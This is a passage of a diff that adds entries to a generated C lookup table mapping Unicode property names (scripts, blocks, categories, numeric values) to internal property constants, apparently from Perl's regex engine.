+ { 1, 3129, 7780, 17, 4, PL_CARI } /* scriptextensions=cari */,
+ { 2, 8096, 8268, 4, 4, PL_CPRT } /* scx=cprt */,
+ { 2, 8798, 0, 3, 0, PL_LOE } /* loe */,
+ { 28, 1159, 3223, 25, 2, -PL_CWKCF } /* changeswhennfkccasefolded=n */,
+ { 0, 84, 3581, 4, 2, PL_MATH } /* math=t */,
+ { 1, 7226, 5315, 6, 5, PL_XPOSIXALNUM } /* xposixalnum */,
+ { 2, 58, 3223, 4, 2, -PL_IDEO } /* ideo=n */,
+ { 0, 1417, 1452, 9, 2, PL_PS } /* category=ps */,
+ { 6, 8026, 850, 3, 9, PL_PUA } /* inprivateuse */,
+ { 1, 5544, 8720, 13, 3, PL_NV__3_SLASH_5 } /* numericvalue=3/5 */,
+ { 2, 6706, 8855, 10, 3, PL_IN__3_DOT_2 } /* presentin=v32 */,
+ { 0, 5284, 3223, 13, 3, -PL_CI } /* caseignorable=no */,
+ { 7, 7478, 3568, 3, 3, PL_SGNW } /* issgnw */,
+ { 5, 184, 8436, 2, 4, PL_NSHU } /* isnshu */,
+ { 17, 184, 6980, 2, 9, PL_NBAT } /* isnabataean */,
+ { 0, 8096, 7846, 4, 6, PL_KTHI } /* scx=kaithi */,
+ { 2, 7459, 2636, 3, 9, PL_SC__MONG } /* sc=mongolian */,
+ { 0, 7380, 78, 4, 2, PL_CCC__AR } /* ccc=ar */,
+ { 4, 1426, 699, 22, 6, PL_INSC__NUMBER } /* indicsyllabiccategory=number */,
+ { 0, 8016, 3985, 4, 9, PL_LB__EM } /* gcb=emodifier */,
+ { 3, 7459, 8264, 3, 4, PL_CANS } /* sc=cans */,
+ { 1, 3129, 8424, 17, 4, PL_NBAT } /* scriptextensions=nbat */,
+ { 2, 6890, 5693, 4, 12, PL_CYRILLICEXTB } /* blk=cyrillicextb */,
+ { 1, 5765, 7768, 12, 6, -PL_GRBASE } /* graphemebase=false */,
+ { 2, 7136, 6505, 6, 11, PL_YISYLLABLES } /* block=yisyllables */,
+ { 8, 5544, 8180, 13, 4, PL_NV__3_SLASH_80 } /* numericvalue=3/80 */,
+ { 1, 7380, 8688, 4, 2, PL_CCC__26 } /* ccc=26 */,
+ { 0, 4542, 7585, 3, 3, PL_TAGS } /* istags */,
+ { 0, 8340, 3812, 3, 3, PL_JG__LAM } /* jg=lam */,
+ { 3, 2065, 3581, 21, 2, PL_NCHAR } /* noncharactercodepoint=t */,
+ { 0, 2229, 133, 16, 4, PL_M } /* generalcategory=mark */,
+ { 4, 6890, 1378, 4, 24, PL_HIGHPUSURROGATES } /* blk=highprivateusesurrogates */,
+ { 10, 2750, 0, 4, 0, PL_TERM } /* term */,
+ { 3, 7288, 2877, 7, 10, PL_SC__DEVA } /* script=devanagari */,
+ { 2, 6890, 4509, 4, 15, PL_SARB } /* blk=oldsoutharabian */,
+ { 4, 8204, 7768, 4, 6, -PL_POSIXXDIGIT } /* ahex=false */,
+ { 6, 7288, 8364, 7, 4, PL_LANA } /* script=lana */,
+ { 0, 8096, 7604, 4, 7, PL_SIDD } /* scx=siddham */,
+ { 0, 34, 7997, 3, 2, PL_EXT } /* ext=y */,
+ { 0, 7136, 361, 6, 21, PL_MATHOPERATORS } /* block=mathematicaloperators */,
+ { 9, 7478, 3963, 3, 15, PL_SUPMATHOPERATORS } /* issupmathoperators */,
+ { 0, 1876, 7768, 21, 2, -PL_CWL } /* changeswhenlowercased=f */,
+ { 1, 8816, 8903, 3, 2, PL_NV__38 } /* nv=38 */,
+ { 0, 96, 7951, 10, 5, PL_XPOSIXALPHA } /* alphabetic=true */,
+ { 1, 8777, 7768, 3, 2, -PL_CWL } /* cwl=f */,
+ { 1, 184, 2249, 2, 4, PL_GLAG } /* isglag */,
+ { 9, 7136, 8091, 6, 5, PL_INRUNIC } /* block=runic */,
+ { 0, 7816, 7768, 6, 6, -PL_GRBASE } /* grbase=false */,
+ { 3, 6890, 5388, 4, 13, PL_KANAEXTA } /* blk=kanaextendeda */,
+ { 3, 1876, 3581, 21, 2, PL_CWL } /* changeswhenlowercased=t */,
+ { 2, 1448, 468, 5, 11, PL_SUPPUNCTUATION } /* insuppunctuation */,
+ { 2, 974, 8228, 24, 4, PL_CCC__133 } /* canonicalcombiningclass=atbl */,
+ { 0, 7136, 7786, 6, 6, PL_INCHAKMA } /* block=chakma */,
+ { 2, 5645, 24, 10, 1, PL_BC__L } /* bidiclass=l */,
+ { 2, 184, 6219, 2, 11, PL_JOINC } /* isjoincontrol */,
+ { 0, 7288, 7034, 7, 9, PL_PALM } /* script=palmyrene */,
+ { 0, 8795, 67, 3, 4, PL_VSSUP } /* invssup */,
+ { 0, 8508, 8373, 4, 3, PL_SC__LATN } /* sc=latn */,
+ { 1, 6210, 1659, 3, 18, PL_CJKCOMPATIDEOGRAPHS } /* incjkcompatideographs */,
+ { 0, 1908, 0, 5, 0, PL_LT } /* title */,
+ { 0, 8816, 7744, 3, 3, PL_NV__700 } /* nv=700 */,
+ { 0, 8816, 7732, 3, 4, PL_NV__5000 } /* nv=5000 */,
+ { 1, 6713, 8843, 3, 3, PL_IN__2 } /* in=v20 */,
+ { 2, 4104, 0, 15, 0, PL_BAMUMSUP } /* bamumsupplement */,
+ { 1, 2065, 7768, 21, 2, -PL_NCHAR } /* noncharactercodepoint=f */,
+ { 2, 8096, 8304, 4, 4, PL_GUJR } /* scx=gujr */,
+ { 0, 184, 4419, 2, 15, PL_MISCPICTOGRAPHS } /* ismiscpictographs */,
+ { 3, 6263, 21, 10, 2, PL_LB__IN } /* linebreak=in */,
+ { 1, 184, 7152, 2, 4, PL_DUPL } /* isdupl */,
+ { 1, 8011, 5079, 3, 14, PL_MN } /* gc=nonspacingmark */,
+ { 2, 3516, 7768, 10, 2, -PL_XPOSIXSPACE } /* whitespace=f */,
+ { 1, 7136, 8208, 6, 4, PL_INAHOM } /* block=ahom */,
+ { 0, 1258, 0, 24, 0, PL_ARABICPFB } /* arabicpresentationformsb */,
+ { 9, 7227, 8081, 5, 5, PL_POSIXPRINT } /* posixprint */,
+ { 2, 4402, 3867, 3, 15, PL_MISCMATHSYMBOLSB } /* inmiscmathsymbolsb */,
+ { 1, 6890, 7256, 4, 8, PL_KANAEXTA } /* blk=kanaexta */,
+ { 6, 2023, 7997, 21, 2, PL_LOE } /* logicalorderexception=y */,
+ { 5, 3129, 7646, 17, 7, PL_TAVT } /* scriptextensions=taiviet */,
+ { 0, 8504, 18, 4, 1, PL_LB__CR } /* sb=cr */,
+ { 1, 974, 2769, 24, 18, PL_CCC__216 } /* canonicalcombiningclass=attachedaboveright */,
+ { 0, 7136, 6872, 6, 9, PL_ARABICPFB } /* block=arabicpfb */,
+ { 3, 1448, 6440, 3, 10, PL_INSYLOTINAGRI } /* insylotinagri */,
+ { 0, 7478, 2675, 3, 11, PL_SUNDANESESUP } /* issundanesesup */,
+ { 2, 7136, 4135, 7, 14, PL_BRAI } /* block=braillepatterns */,
+ { 0, 7136, 4614, 6, 15, PL_VEDICEXT } /* block=vedicextensions */,
+ { 0, 8096, 8280, 4, 4, PL_CYRL } /* scx=cyrl */,
+ { 10, 2985, 7997, 3, 4, PL_IDS } /* ids=yes */,
+ { 7, 117, 6, 3, 2, PL_INIDC } /* inidc */,
+ { 2, 8288, 7792, 3, 6, PL_DT__ENC } /* dt=circle */,
+ { 5, 1417, 1204, 9, 2, PL_PO } /* category=po */,
+ { 3, 7136, 7422, 6, 7, PL_CJKEXTF } /* block=cjkextf */,
+ { 4, 8816, 8169, 3, 3, PL_NV__7_SLASH_2 } /* nv=7/2 */,
+ { 3, 5645, 18, 10, 1, PL_BC__R } /* bidiclass=r */,
+ { 4, 7459, 5957, 3, 12, PL_MEND } /* sc=mendekikakui */,
+ { 11, 6890, 361, 4, 21, PL_MATHOPERATORS } /* blk=mathematicaloperators */,
+ { 1, 8096, 7367, 5, 6, PL_BENG } /* scx=bengali */,
+ { 0, 184, 511, 3, 19, PL_CJK } /* iscjkunifiedideographs */,
+ { 0, 3129, 8236, 17, 4, PL_BATK } /* scriptextensions=batk */,
+ { 1, 1834, 7768, 21, 6, -PL_CWCF } /* changeswhencasefolded=false */,
+ { 3, 6484, 7768, 10, 2, -PL_IDC } /* idcontinue=f */,
+ { 0, 7288, 7145, 8, 3, PL_SC__BUGI } /* script=bugi */,
+ { 1, 6263, 125, 10, 2, PL_LB__CR } /* linebreak=cr */,
+ { 0, 6890, 3237, 4, 17, PL_ALCHEMICAL } /* blk=alchemicalsymbols */,
+ { 3, 184, 8488, 2, 4, PL_RJNG } /* isrjng */,
+ { 7, 184, 7436, 2, 4, PL_ELBA } /* iselba */,
+ { 0, 18, 7768, 2, 2, -PL_RI } /* ri=f */,
+ { 1, 3424, 7997, 17, 2, PL_IDSB } /* idsbinaryoperator=y */,
+ { 2, 7459, 8488, 3, 4, PL_RJNG } /* sc=rjng */,
+ { 0, 2065, 7951, 21, 5, PL_NCHAR } /* noncharactercodepoint=true */,
+ { 2, 8376, 42, 3, 2, PL_LB__CJ } /* lb=cj */,
+ { 10, 1358, 7951, 20, 5, PL_CE } /* compositionexclusion=true */,
+ { 6, 7380, 6142, 4, 11, PL_CCC__DB } /* ccc=doublebelow */,
+ { 1, 4869, 0, 14, 0, PL_LATINEXTD } /* latinextendedd */,
+ { 0, 184, 720, 2, 21, PL_ENCLOSEDALPHANUM } /* isenclosedalphanumerics */,
+ { 0, 2484, 0, 19, 0, PL_EGYP } /* egyptianhieroglyphs */,
+ { 2, 8240, 8807, 3, 3, PL_BC__LRO } /* bc=lro */,
+ { 1, 8016, 1133, 4, 7, PL_GCB__PP } /* gcb=prepend */,
+ { 0, 8572, 497, 4, 6, PL_WB__NU } /* wb=numeric */,
+ { 16, 7380, 8678, 4, 3, PL_CCC__B } /* ccc=220 */,
+ { 0, 7478, 7062, 3, 8, PL_SAMR } /* issamaritan */,
+ { 1, 8096, 2841, 4, 4, PL_COPT } /* scx=copt */,
+ { 11, 6863, 0, 9, 0, PL_ARABICPFA } /* arabicpfa */,
+ { 1, 3946, 3223, 16, 3, -PL_STERM } /* sentenceterminal=no */,
+ { 6, 6890, 2271, 6, 18, PL_ININSCRIPTIONALPAHLAVI } /* blk=inscriptionalpahlavi */,
+ { 2, 1918, 3581, 21, 2, PL_CWU } /* changeswhenuppercased=t */,
+ { 1, 3129, 57, 17, 2, PL_YI } /* scriptextensions=yi */,
+ { 2, 7380, 8617, 4, 2, PL_CCC__31 } /* ccc=31 */,
+ { 13, 8816, 8188, 3, 4, PL_NV__7_SLASH_12 } /* nv=7/12 */,
+ { 5, 7994, 0, 7, 0, PL_IDC } /* idc=yes */,
+ { 1, 7136, 8111, 6, 5, PL_INTAKRI } /* block=takri */,
+ { 1, 8096, 7870, 4, 4, PL_LEPC } /* scx=lepc */,
+ { 5, 184, 1028, 3, 5, PL_COPT } /* iscoptic */,
+ { 21, 184, 8400, 2, 4, PL_MIAO } /* ismiao */,
+ { 0, 6890, 6428, 4, 11, PL_SUPERANDSUB } /* blk=superandsub */,
+ { 0, 8011, 468, 3, 5, PL_P } /* gc=punct */,
+ { 19, 184, 631, 3, 29, PL_CJKEXTE } /* iscjkunifiedideographsextensione */,
+ { 0, 7136, 2877, 6, 18, PL_DEVANAGARIEXT } /* block=devanagariextended */,
+ { 0, 7834, 3521, 6, 5, PL_POSIXSPACE } /* isperlspace */,
+ { 1, 8011, 47, 3, 1, PL_M } /* gc=m */,
+ { 0, 1133, 7768, 26, 2, -PL_PCM } /* prependedconcatenationmark=f */,
+ { 2, 5657, 0, 12, 0, PL_BIDIM } /* bidimirrored */,
+ { 2, 2985, 7951, 4, 5, PL_IDST } /* idst=true */,
+ { 0, 8288, 7184, 3, 3, PL_DT__FRA } /* dt=fra */,
+ { 1, 184, 8600, 2, 4, PL_QAAI } /* iszinh */,
+ { 3, 4402, 2618, 3, 18, PL_MODIFIERTONELETTERS } /* inmodifiertoneletters */,
+ { 0, 2369, 472, 20, 2, PL_VO__TU } /* verticalorientation=tu */,
+ { 0, 6890, 2693, 4, 19, PL_SUPARROWSA } /* blk=supplementalarrowsa */,
+ { 4, 7136, 7336, 6, 8, PL_INUGARITIC } /* block=ugaritic */,
+ { 0, 7380, 8702, 4, 3, PL_CCC__DA } /* ccc=234 */,
+ { 10, 11, 7951, 3, 5, PL_DIA } /* dia=true */,
+ { 1, 8816, 7714, 3, 4, PL_NV__3000 } /* nv=3000 */,
+ { 0, 4314, 5921, 13, 12, PL_JG__MANICHAEANPE } /* joininggroup=manichaeanpe */,
+ { 0, 7136, 3754, 6, 16, PL_LINEARBIDEOGRAMS } /* block=linearbideograms */,
+ { 1, 8340, 8512, 3, 4, PL_JG__SEEN } /* jg=seen */,
+ { 6, 4402, 6647, 3, 9, PL_MISCARROWS } /* inmiscarrows */,
+ { 1, 8196, 8750, 4, 3, PL_AGE__6_DOT_1 } /* age=6.1 */,
+ { 1, 7994, 36, 4, 1, PL_IDC } /* idc=t */,
+ { 0, 5149, 0, 14, 0, PL_SUPPUNCTUATION } /* suppunctuation */,
+ { 0, 7288, 3458, 7, 4, PL_SC__MANI } /* script=mani */,
+ { 5, 802, 0, 6, 0, PL_ARROWS } /* arrows */,
+ { 0, 2229, 8009, 16, 2, PL_CF } /* generalcategory=cf */,
+ { 0, 5544, 7702, 13, 3, PL_NV__200 } /* numericvalue=200 */,
+ { 0, 7288, 8396, 7, 4, PL_MERC } /* script=merc */,
+ { 0, 76, 7096, 2, 8, PL_NT__NU } /* nt=numeric */,
+ { 1, 21, 5233, 3, 12, PL_AEGEANNUMBERS } /* inaegeannumbers */,
+ { 0, 6890, 7852, 4, 6, PL_KANBUN } /* blk=kanbun */,
+ { 3, 5544, 7738, 13, 5, PL_NV__60000 } /* numericvalue=60000 */,
+ { 0, 6210, 1982, 3, 10, PL_CYRILLICSUP } /* incyrillicsup */,
+ { 2, 4314, 6072, 13, 4, PL_JG__NOON } /* joininggroup=noon */,
+ { 3, 6890, 7248, 4, 8, PL_INJAVANESE } /* blk=javanese */,
+ { 1, 7288, 690, 7, 9, PL_XSUX } /* script=cuneiform */,
+ { 2, 8121, 7951, 5, 5, PL_UIDEO } /* uideo=true */,
+ { 0, 1887, 7768, 9, 6, -PL_XPOSIXLOWER } /* lowercase=false */,
+ { 0, 7459, 7152, 3, 4, PL_SC__DUPL } /* sc=dupl */,
+ { 0, 6890, 8106, 4, 5, PL_INTAILE } /* blk=taile */,
+ { 2, 21, 7240, 2, 8, PL_JAMOEXTB } /* injamoextb */,
+ { 4, 5717, 0, 12, 0, PL_ETHIOPICEXTA } /* ethiopicexta */,
+ { 0, 8822, 7997, 3, 4, PL_PCM } /* pcm=yes */,
+ { 13, 7459, 8596, 3, 4, PL_ZANB } /* sc=zanb */,
+ { 0, 974, 8672, 24, 3, PL_CCC__214 } /* canonicalcombiningclass=214 */,
+ { 0, 7136, 7499, 6, 7, PL_KALI } /* block=kayahli */,
+ { 2, 8822, 3223, 3, 3, -PL_PCM } /* pcm=no */,
+ { 1, 7459, 7320, 3, 8, PL_TFNG } /* sc=tifinagh */,
+ { 1, 5544, 7720, 13, 3, PL_NV__400 } /* numericvalue=400 */,
+ { 0, 2229, 295, 16, 2, PL_SM } /* generalcategory=sm */,
+ { 19, 5134, 8469, 3, 3, PL_MIAO } /* isplrd */,
+ { 1, 7994, 3, 4, 1, -PL_IDC } /* idc=f */,
+ { 5, 184, 2967, 2, 11, PL_GEORGIANSUP } /* isgeorgiansup */,
+ { 0, 7344, 0, 8, 0, PL_XIDS } /* xidstart */,
+ { 2, 8096, 8552, 4, 4, PL_TGLG } /* scx=tglg */,
+ { 5, 3521, 3581, 5, 2, PL_XPOSIXSPACE } /* space=t */,
+ { 6, 1206, 7913, 3, 5, PL_INTELUGU } /* intelugu */,
+ { 6, 8816, 7708, 3, 2, PL_NV__21 } /* nv=21 */,
+ { 0, 7136, 447, 6, 18, PL_IDEOGRAPHICSYMBOLS } /* block=ideographicsymbols */,
+ { 5, 7478, 7626, 3, 6, PL_SUPPUAB } /* issuppuab */,
+ { 0, 4630, 4600, 3, 14, PL_LU } /* isuppercaseletter */,
+ { 0, 2985, 7768, 3, 2, -PL_IDS } /* ids=f */,
+ { 1, 4464, 7998, 14, 3, PL_NFDQC__Y } /* nfdquickcheck=yes */,
+ { 8, 7288, 3288, 7, 17, PL_AGHB } /* script=caucasianalbanian */,
+ { 3, 8786, 66, 3, 1, PL_EA__H } /* ea=h */,
+ { 0, 4314, 4981, 13, 14, PL_JG__MANICHAEANQOPH } /* joininggroup=manichaeanqoph */,
+ { 9, 8356, 0, 4, 0, PL_KNDA } /* knda */,
+ { 1, 3129, 8312, 17, 4, PL_HAN } /* scriptextensions=hani */,
+ { 2, 5134, 6375, 4, 9, PL_HMNG } /* ispahawhhmong */,
+ { 1, 7288, 5957, 7, 12, PL_MEND } /* script=mendekikakui */,
+ { 19, 7136, 6536, 6, 10, PL_ARABICEXTA } /* block=arabicexta */,
+ { 4, 7136, 1589, 6, 23, PL_LATINEXTADDITIONAL } /* block=latinextendedadditional */,
+ { 4, 6890, 5825, 4, 7, PL_MAHJONG } /* blk=mahjong */,
+ { 16, 1346, 957, 5, 2, PL_INGREEK } /* ingreek */,
+ { 0, 184, 1691, 2, 11, PL_NUMBERFORMS } /* isnumberforms */,
+ { 2, 6483, 7768, 11, 6, -PL_XIDC } /* xidcontinue=false */,
+ { 3, 1929, 7997, 5, 4, PL_XPOSIXUPPER } /* upper=yes */,
+ { 3, 7136, 2674, 6, 12, PL_SUNDANESESUP } /* block=sundanesesup */,
+ { 6, 8096, 6626, 4, 10, PL_KHAR } /* scx=kharoshthi */,
+ { 4, 21, 1691, 2, 11, PL_NUMBERFORMS } /* innumberforms */,
+ { 0, 1417, 112, 9, 2, PL_SC } /* category=sc */,
+ { 5, 1887, 7768, 9, 2, -PL_XPOSIXLOWER } /* lowercase=f */,
+ { 1, 3129, 3610, 17, 8, PL_BOPO } /* scriptextensions=bopomofo */,
+ { 10, 5813, 0, 12, 0, PL_NL } /* letternumber */,
+ { 10, 974, 8897, 27, 2, PL_CCC__19 } /* canonicalcombiningclass=ccc19 */,
+ { 2, 6713, 8873, 3, 3, PL_IN__6 } /* in=v60 */,
+ { 6, 6890, 600, 4, 30, PL_CJKEXTD } /* blk=cjkunifiedideographsextensiond */,
+ { 10, 113, 0, 35, 0, PL_DIACRITICALSFORSYMBOLS } /* combiningdiacriticalmarksforsymbols */,
+ { 12, 8344, 6208, 3, 11, PL_JT__C } /* jt=joincausing */,
+ { 2, 7136, 5801, 6, 12, PL_KHMERSYMBOLS } /* block=khmersymbols */,
+ { 8, 6890, 6120, 4, 6, PL_DOMINO } /* blk=domino */,
+ { 12, 6706, 7750, 10, 1, PL_IN__8 } /* presentin=8 */,
+ { 2, 184, 4225, 3, 14, PL_CURRENCYSYMBOLS } /* iscurrencysymbols */,
+ { 1, 7136, 1812, 6, 15, PL_TRANSPORTANDMAP } /* block=transportandmap */,
+ { 8, 6890, 2249, 4, 20, PL_GLAGOLITICSUP } /* blk=glagoliticsupplement */,
+ { 4, 74, 0, 2, 0, PL_ME } /* me */,
+ { 3, 6263, 373, 10, 2, PL_LB__OP } /* linebreak=op */,
+ { 1, 949, 3223, 2, 3, -PL_CI } /* ci=no */,
+ { 0, 5245, 0, 5, 0, PL_ASCII } /* ascii */,
+ { 0, 600, 0, 30, 0, PL_CJKEXTD } /* cjkunifiedideographsextensiond */,
+ { 0, 4554, 18, 15, 1, PL_LB__CR } /* sentencebreak=cr */,
+ { 0, 8786, 3, 3, 1, PL_EA__F } /* ea=f */,
+ { 2, 7136, 690, 6, 9, PL_INCUNEIFORM } /* block=cuneiform */,
+ { 2, 184, 3526, 2, 17, PL_RI } /* isregionalindicator */,
+ { 1, 7912, 0, 6, 0, PL_TELU } /* telugu */,
+ { 1, 3129, 2841, 17, 6, PL_COPT } /* scriptextensions=coptic */,
+ { 1, 8816, 8615, 3, 3, PL_NV__1_SLASH_3 } /* nv=1/3 */,
+ { 4, 3114, 7337, 3, 7, PL_INUGARITIC } /* inugaritic */,
+ { 0, 6318, 0, 11, 0, PL_MYANMAREXTB } /* myanmarextb */,
+ { 7, 974, 8633, 27, 3, PL_CCC__103 } /* canonicalcombiningclass=ccc103 */,
+ { 9, 7459, 8106, 3, 5, PL_SC__TALE } /* sc=taile */,
+ { 0, 7459, 8496, 3, 4, PL_SAMR } /* sc=samr */,
+ { 4, 6536, 0, 10, 0, PL_ARABICEXTA } /* arabicexta */,
+ { 0, 7136, 1981, 6, 18, PL_CYRILLICSUP } /* block=cyrillicsupplement */,
+ { 3, 2990, 4091, 4, 13, PL_ARABICEXTA } /* inarabicextendeda */,
+ { 0, 8011, 1306, 3, 13, PL_M } /* gc=combiningmark */,
+ { 20, 184, 6991, 3, 2, PL_CWT } /* iscwt */,
+ { 1, 7380, 6230, 4, 11, PL_CCC__8 } /* ccc=kanavoicing */,
+ { 6, 7288, 8568, 7, 3, PL_VAI } /* script=vai */,
+ { 2, 5544, 8160, 13, 4, PL_NV__13_SLASH_2 } /* numericvalue=13/2 */,
+ { 2, 8376, 7828, 3, 6, PL_LB__HY } /* lb=hyphen */,
+ { 3, 8096, 8428, 4, 4, PL_NEWA } /* scx=newa */,
+ { 3, 7459, 2531, 3, 4, PL_SC__MULT } /* sc=mult */,
+ { 2, 974, 5595, 24, 2, PL_CCC__8 } /* canonicalcombiningclass=kv */,
+ { 2, 184, 5531, 2, 13, PL_MISCTECHNICAL } /* ismisctechnical */,
+ { 0, 3509, 3223, 17, 3, -PL_PATWS } /* patternwhitespace=no */,
+ { 9, 8096, 2360, 4, 4, PL_MAND } /* scx=mand */,
+ { 3, 2877, 0, 4, 0, PL_DEVA } /* deva */,
+ { 0, 184, 5957, 2, 4, PL_MEND } /* ismend */,
+ { 6, 8508, 21, 4, 3, PL_SC__LINA } /* sc=lina */,
+ { 0, 5657, 7768, 5, 2, -PL_BIDIM } /* bidim=f */,
+ { 2, 974, 8703, 24, 2, PL_CCC__34 } /* canonicalcombiningclass=34 */,
+ { 1, 7136, 349, 6, 33, PL_SUPMATHOPERATORS } /* block=supplementalmathematicaloperators */,
+ { 0, 8096, 7639, 4, 7, PL_LANA } /* scx=taitham */,
+ { 3, 6890, 5777, 4, 6, PL_INHEBREW } /* blk=hebrew */,
+ { 1, 6890, 3610, 4, 11, PL_BOPOMOFOEXT } /* blk=bopomofoext */,
+ { 1, 7422, 0, 7, 0, PL_CJKEXTF } /* cjkextf */,
+ { 0, 7344, 7768, 8, 6, -PL_XIDS } /* xidstart=false */,
+ { 0, 1206, 3148, 3, 17, PL_TAIXUANJING } /* intaixuanjingsymbols */,
+ { 2, 2221, 3223, 3, 14, PL_HST__NA } /* hst=notapplicable */,
+ { 3, 8011, 5813, 3, 12, PL_NL } /* gc=letternumber */,
+ { 1, 6890, 4134, 4, 15, PL_BRAI } /* blk=braillepatterns */,
+ { 0, 8096, 1160, 4, 4, PL_HANG } /* scx=hang */,
+ { 1, 1746, 3526, 21, 17, PL_RI } /* graphemeclusterbreak=regionalindicator */,
+ { 5, 7288, 7104, 7, 8, PL_SC__ARMN } /* script=armenian */,
+ { 7, 7136, 720, 6, 16, PL_ENCLOSEDALPHANUM } /* block=enclosedalphanum */,
+ { 7, 7380, 3254, 4, 17, PL_CCC__133 } /* ccc=attachedbelowleft */,
+ { 1, 3129, 3674, 17, 7, PL_CPRT } /* scriptextensions=cypriot */,
+ { 0, 184, 4855, 2, 14, PL_LATINEXTC } /* islatinextendedc */,
+ { 0, 217, 436, 6, 5, PL_NCHAR } /* _perl_nchar */,
+ { 1, 4314, 5453, 13, 13, PL_JG__MANICHAEANMEM } /* joininggroup=manichaeanmem */,
+ { 2, 7689, 3238, 3, 9, PL_ALCHEMICAL } /* isalchemical */,
+ { 0, 184, 1835, 3, 20, PL_CWCF } /* ischangeswhencasefolded */,
+ { 0, 7906, 1108, 4, 7, PL_SC__KANA } /* sc=katakana */,
+ { 0, 7136, 5362, 6, 13, PL_IPAEXT } /* block=ipaextensions */,
+ { 0, 6263, 8919, 10, 2, PL_LB__B2 } /* linebreak=b2 */,
+ { 3, 8096, 8237, 5, 3, PL_BATK } /* scx=batk */,
+ { 0, 2065, 0, 21, 0, PL_NCHAR } /* noncharactercodepoint */,
+ { 12, 2100, 7027, 4, 7, PL_ORKH } /* isoldturkic */,
+ { 0, 7689, 15, 4, 2, PL_ARAB } /* isarab */,
+ { 4, 7136, 7632, 6, 7, PL_INTAGALOG } /* block=tagalog */,
+ { 3, 2229, 5323, 16, 13, PL_ME } /* generalcategory=enclosingmark */,
+ { 0, 7478, 6375, 3, 3, PL_SHAW } /* isshaw */,
+ { 1, 4314, 6274, 13, 11, PL_JG__MALAYALAMJA } /* joininggroup=malayalamja */,
+ { 2, 7136, 3850, 6, 16, PL_MISCMATHSYMBOLSA } /* block=miscmathsymbolsa */,
+ { 2, 8783, 3223, 3, 2, -PL_CWU } /* cwu=n */,
+ { 5, 974, 7576, 24, 7, PL_CCC__1 } /* canonicalcombiningclass=overlay */,
+ { 1, 184, 1, 3, 1, PL_CN } /* iscn */,
+ { 0, 7457, 3626, 5, 16, PL_INSC__CANTILLATIONMARK } /* insc=cantillationmark */,
+ { 0, 8096, 7569, 4, 4, PL_OSMA } /* scx=osma */,
+ { 5, 7136, 4827, 6, 14, PL_KANGXI } /* block=kangxiradicals */,
+ { 1, 7288, 6736, 7, 4, PL_SAUR } /* script=saur */,
+ { 2, 7136, 947, 6, 27, PL_ANCIENTGREEKMUSIC } /* block=ancientgreekmusicalnotation */,
+ { 0, 7288, 7810, 7, 4, PL_GOTH } /* script=goth */,
+ { 4, 8096, 2409, 5, 3, PL_BRAH } /* scx=brah */,
+ { 1, 4479, 7996, 5, 3, PL_NFKCQC__Y } /* nfkcqc=y */,
+ { 0, 6890, 3441, 4, 17, PL_LETTERLIKESYMBOLS } /* blk=letterlikesymbols */,
+ { 11, 7136, 1306, 6, 24, PL_DIACRITICALSFORSYMBOLS } /* block=combiningmarksforsymbols */,
+ { 5, 949, 7951, 2, 5, PL_CI } /* ci=true */,
+ { 0, 468, 0, 5, 0, PL_P } /* punct */,
+ { 0, 2229, 2521, 16, 2, PL_PF } /* generalcategory=pf */,
+ { 0, 184, 7520, 2, 4, PL_MARC } /* ismarc */,
+ { 0, 5544, 8169, 13, 3, PL_NV__7_SLASH_2 } /* numericvalue=7/2 */,
+ { 1, 1746, 1083, 21, 2, PL_LB__LF } /* graphemeclusterbreak=lf */,
+ { 1, 184, 43, 3, 8, PL_CJKCOMPAT } /* iscjkcompat */,
+ { 3, 5134, 3, 3, 1, PL_PF } /* ispf */,
+ { 4, 1474, 4524, 22, 4, PL_BPT__O } /* bidipairedbrackettype=open */,
+ { 0, 8026, 473, 3, 2, PL_PUA } /* inpua */,
+ { 3, 5657, 3581, 5, 2, PL_BIDIM } /* bidim=t */,
+ { 1, 4063, 2879, 4, 8, PL_INDEVANAGARI } /* indevanagari */,
+ { 0, 6109, 6100, 11, 9, PL_L_AMP_ } /* category=casedletter */,
+ { 0, 3373, 806, 15, 1, PL_EA__W } /* eastasianwidth=w */,
+ { 5, 8344, 6, 3, 1, PL_JT__D } /* jt=d */,
+ { 3, 1206, 7585, 3, 3, PL_TAGS } /* intags */,
+ { 10, 7136, 4855, 6, 14, PL_LATINEXTC } /* block=latinextendedc */,
+ { 42, 8096, 7336, 4, 4, PL_UGAR } /* scx=ugar */,
+ { 3, 4314, 8212, 13, 4, PL_JG__ALEF } /* joininggroup=alef */,
+ { 0, 5544, 7702, 13, 1, PL_NV__2 } /* numericvalue=2 */,
+ { 0, 7478, 3085, 3, 8, PL_Z } /* isseparator */,
+ { 5, 6890, 4209, 4, 15, PL_CONTROLPICTURES } /* blk=controlpictures */,
+ { 14, 1797, 0, 15, 0, PL_MODIFIERLETTERS } /* modifierletters */,
+ { 0, 21, 6826, 2, 10, PL_YIRADICALS } /* inyiradicals */,
+ { 6, 8096, 7876, 4, 4, PL_LYCI } /* scx=lyci */,
+ { 2, 6890, 7918, 4, 6, PL_INTHAANA } /* blk=thaana */,
+ { 17, 8376, 58, 3, 2, PL_LB__ID } /* lb=id */,
+ { 1, 8096, 8308, 4, 4, PL_GURU } /* scx=guru */,
+ { 0, 7136, 7104, 6, 8, PL_INARMENIAN } /* block=armenian */,
+ { 0, 2859, 974, 18, 9, PL_DT__CAN } /* decompositiontype=canonical */,
+ { 0, 8272, 7768, 4, 6, -PL_CWCF } /* cwcf=false */,
+ { 1, 183, 0, 20, 0, PL_MISCSYMBOLS } /* miscellaneoussymbols */,
+ { 0, 8340, 8041, 3, 5, PL_JG__KHAPH } /* jg=khaph */,
+ { 0, 6706, 8852, 10, 3, PL_IN__3_DOT_1 } /* presentin=v31 */,
+ { 1, 1402, 9, 24, 2, PL_INPC__NA } /* indicpositionalcategory=na */,
+ { 4, 2236, 47, 10, 1, PL_LM } /* category=lm */,
+ { 0, 1417, 1621, 9, 6, PL_CF } /* category=format */,
+ { 2, 1503, 6910, 4, 7, PL_EMOTICONS } /* inemoticons */,
+ { 0, 6076, 7768, 11, 6, -PL_BIDIC } /* bidicontrol=false */,
+ { 0, 8568, 0, 3, 0, PL_VAI } /* vai */,
+ { 0, 7457, 7924, 5, 6, PL_INSC__VIRAMA } /* insc=virama */,
+ { 0, 8504, 49, 3, 2, PL_SB__AT } /* sb=at */,
+ { 0, 8011, 1679, 3, 2, PL_PC } /* gc=pc */,
+ { 2, 7459, 2484, 3, 19, PL_EGYP } /* sc=egyptianhieroglyphs */,
+ { 0, 7288, 3611, 8, 7, PL_SC__BOPO } /* script=bopomofo */,
